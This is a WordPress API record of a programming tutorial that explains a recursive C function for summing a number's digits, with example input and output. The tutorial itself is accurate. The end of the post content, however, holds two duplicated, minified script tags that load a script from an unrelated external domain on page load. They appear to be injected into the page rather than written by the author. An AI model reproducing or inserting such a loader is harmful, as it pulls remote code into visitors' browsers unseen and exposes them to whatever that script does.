{"id":915,"date":"2024-10-14T14:06:29","date_gmt":"2024-10-14T08:36:29","guid":{"rendered":"https:\/\/codexplained.in\/?p=915"},"modified":"2025-11-24T15:49:32","modified_gmt":"2025-11-24T10:19:32","slug":"sum-of-digits-in-a-number-using-recursion","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=915","title":{"rendered":"Sum of Digits in a Number using Recursion"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Introduction<\/h3>\n\n\n\n<p>Finding the sum of the digits of a number can be efficiently performed using recursion. The idea is to break down the problem by separating the last digit from the rest of the number. The last digit can be obtained using the modulus operator, and the remaining digits can be processed recursively.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint sumOfDigits(int num) {\n    \/\/ Base case: if the number is 0, return 0\n    if (num == 0) {\n        return 0;\n    }\n    \/\/ Recursive case: add the last digit to the sum of the remaining digits\n    return (num % 10) + sumOfDigits(num \/ 10);\n}\n\nint main() {\n    int number;\n    printf(&quot;Enter a number: &quot;);\n    scanf(&quot;%d&quot;, &amp;number);\n\n    int sum = sumOfDigits(number);\n    printf(&quot;Sum of digits: %d\\n&quot;, sum);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Function Definition<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The function <code>sumOfDigits<\/code> takes an integer <code>num<\/code> as input.<\/li>\n\n\n\n<li><strong>Base Case<\/strong>: If <code>num<\/code> is 0, it returns 0, which stops the recursion.<\/li>\n\n\n\n<li><strong>Recursive Case<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The last digit of the number is obtained using <code>num % 10<\/code>.<\/li>\n\n\n\n<li>The recursive call <code>sumOfDigits(num \/ 10)<\/code> processes the remaining digits.<\/li>\n\n\n\n<li>The last digit is added to the result of the recursive call.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>It prompts the user to input a number.<\/li>\n\n\n\n<li>It calls <code>sumOfDigits<\/code> and prints the resulting sum.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<p><strong>Input:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>Enter a number: 1234<br><\/code><\/pre>\n\n\n\n<p><strong>Output:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>Sum of digits: 10<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>This C program demonstrates how to find the sum of the digits of a number using recursion. The recursive method simplifies the problem by breaking it down into smaller parts, making the solution straightforward. This approach is efficient for relatively small numbers, but it&#8217;s important to consider the limitations of recursion with very large inputs, as it could lead to stack overflow.<\/p>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction Finding the sum of the digits of a number can be efficiently performed using recursion. The idea is to break down the problem by separating the last digit from the rest of the number. The last digit can be obtained using the modulus operator, and the remaining digits can be processed recursively. Explanation Input: [&hellip;]<\/p>\n","protected":false},"author":37,"featured_media":823,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-915","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/915","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=915"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/915\/revisions"}],"predecessor-version":[{"id":1437,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/915\/revisions\/1437"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/823"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=915"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=915"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=915"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}